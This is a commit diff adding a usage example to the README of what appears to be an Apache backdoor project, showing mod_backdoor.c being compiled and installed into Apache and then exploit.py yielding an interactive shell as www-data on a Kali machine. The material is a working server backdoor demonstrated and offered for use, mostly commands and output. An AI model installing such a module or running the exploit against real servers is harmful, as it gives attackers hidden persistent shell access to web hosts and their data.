[+] Add an example

Author: WangYihang

README.md

@@ -11,6 +11,52 @@ Usage:
 python exploit.py [HOST] [PORT]
 ```
 
+Example:
+```
+root@kali:~/backdoor# apxs -i -a -c mod_backdoor.c && service apache2 restart
+/usr/share/apr-1.0/build/libtool  --mode=compile --tag=disable-static x86_64-linux-gnu-gcc -prefer-pic -pipe -g -O2 -fstack-protector-strong -Wformat -Werror=format-security  -Wdate-time -D_FORTIFY_SOURCE=2   -DLINUX -D_REENTRANT -D_GNU_SOURCE  -pthread  -I/usr/include/apache2  -I/usr/include/apr-1.0   -I/usr/include/apr-1.0 -I/usr/include  -c -o mod_backdoor.lo mod_backdoor.c && touch mod_backdoor.slo
+libtool: compile:  x86_64-linux-gnu-gcc -pipe -g -O2 -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -DLINUX -D_REENTRANT -D_GNU_SOURCE -pthread -I/usr/include/apache2 -I/usr/include/apr-1.0 -I/usr/include/apr-1.0 -I/usr/include -c mod_backdoor.c  -fPIC -DPIC -o .libs/mod_backdoor.o
+/usr/share/apr-1.0/build/libtool  --mode=link --tag=disable-static x86_64-linux-gnu-gcc -Wl,--as-needed -Wl,-z,relro -Wl,-z,now    -o mod_backdoor.la  -rpath /usr/lib/apache2/modules -module -avoid-version    mod_backdoor.lo
+libtool: link: rm -fr  .libs/mod_backdoor.la .libs/mod_backdoor.lai .libs/mod_backdoor.so
+libtool: link: x86_64-linux-gnu-gcc -shared  -fPIC -DPIC  .libs/mod_backdoor.o    -Wl,--as-needed -Wl,-z -Wl,relro -Wl,-z -Wl,now   -Wl,-soname -Wl,mod_backdoor.so -o .libs/mod_backdoor.so
+libtool: link: ( cd ".libs" && rm -f "mod_backdoor.la" && ln -s "../mod_backdoor.la" "mod_backdoor.la" )
+/usr/share/apache2/build/instdso.sh SH_LIBTOOL='/usr/share/apr-1.0/build/libtool' mod_backdoor.la /usr/lib/apache2/modules
+/usr/share/apr-1.0/build/libtool --mode=install install mod_backdoor.la /usr/lib/apache2/modules/
+libtool: install: install .libs/mod_backdoor.so /usr/lib/apache2/modules/mod_backdoor.so
+libtool: install: install .libs/mod_backdoor.lai /usr/lib/apache2/modules/mod_backdoor.la
+libtool: finish: PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/sbin" ldconfig -n /usr/lib/apache2/modules
+----------------------------------------------------------------------
+Libraries have been installed in:
+   /usr/lib/apache2/modules
+
+If you ever happen to want to link against installed libraries
+in a given directory, LIBDIR, you must either use libtool, and
+specify the full pathname of the library, or use the '-LLIBDIR'
+flag during linking and do at least one of the following:
+   - add LIBDIR to the 'LD_LIBRARY_PATH' environment variable
+     during execution
+   - add LIBDIR to the 'LD_RUN_PATH' environment variable
+     during linking
+   - use the '-Wl,-rpath -Wl,LIBDIR' linker flag
+   - have your system administrator add LIBDIR to '/etc/ld.so.conf'
+
+See any operating system documentation about shared libraries for
+more information, such as the ld(1) and ld.so(8) manual pages.
+----------------------------------------------------------------------
+chmod 644 /usr/lib/apache2/modules/mod_backdoor.so
+[preparing module `backdoor' in /etc/apache2/mods-available/backdoor.load]
+Module backdoor already enabled
+root@kali:~/backdoor# python exploit.py 127.0.0.1 80
+$ whoami
+www-data
+
+$ uname -a
+Linux kali 4.13.0-kali1-amd64 #1 SMP Debian 4.13.10-1kali2 (2017-11-08) x86_64 GNU/Linux
+
+$ exit
+
+```
+
 License
 ```
 THE DRINKWARE LICENSE